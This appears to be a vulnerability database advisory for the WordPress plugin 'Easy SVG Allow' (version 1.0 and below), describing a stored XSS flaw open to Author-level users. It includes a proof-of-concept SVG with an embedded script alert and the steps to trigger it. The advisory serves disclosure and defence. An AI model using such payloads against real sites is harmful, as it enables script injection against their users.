Lucene search

K
wpexploitBob MatyasWPEX-ID:3B8BA734-7764-4AB6-A7E2-8DE55BD46BED
HistoryJan 03, 2024 - 12:00 a.m.

Easy SVG Allow <= 1.0 - Author+ Stored XSS via SVG

2024-01-0300:00:00
Bob Matyas
30
svg
security
xss
upload
vulnerability
exploit
codeinjection

9.3 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.1%

Description The plugin does not sanitize uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.

Upload an SVG with the following code:

<svg xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert("xss");</script>
</svg>

Access the uploaded file directly to trigger the XSS

9.3 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.1%

Related for WPEX-ID:3B8BA734-7764-4AB6-A7E2-8DE55BD46BED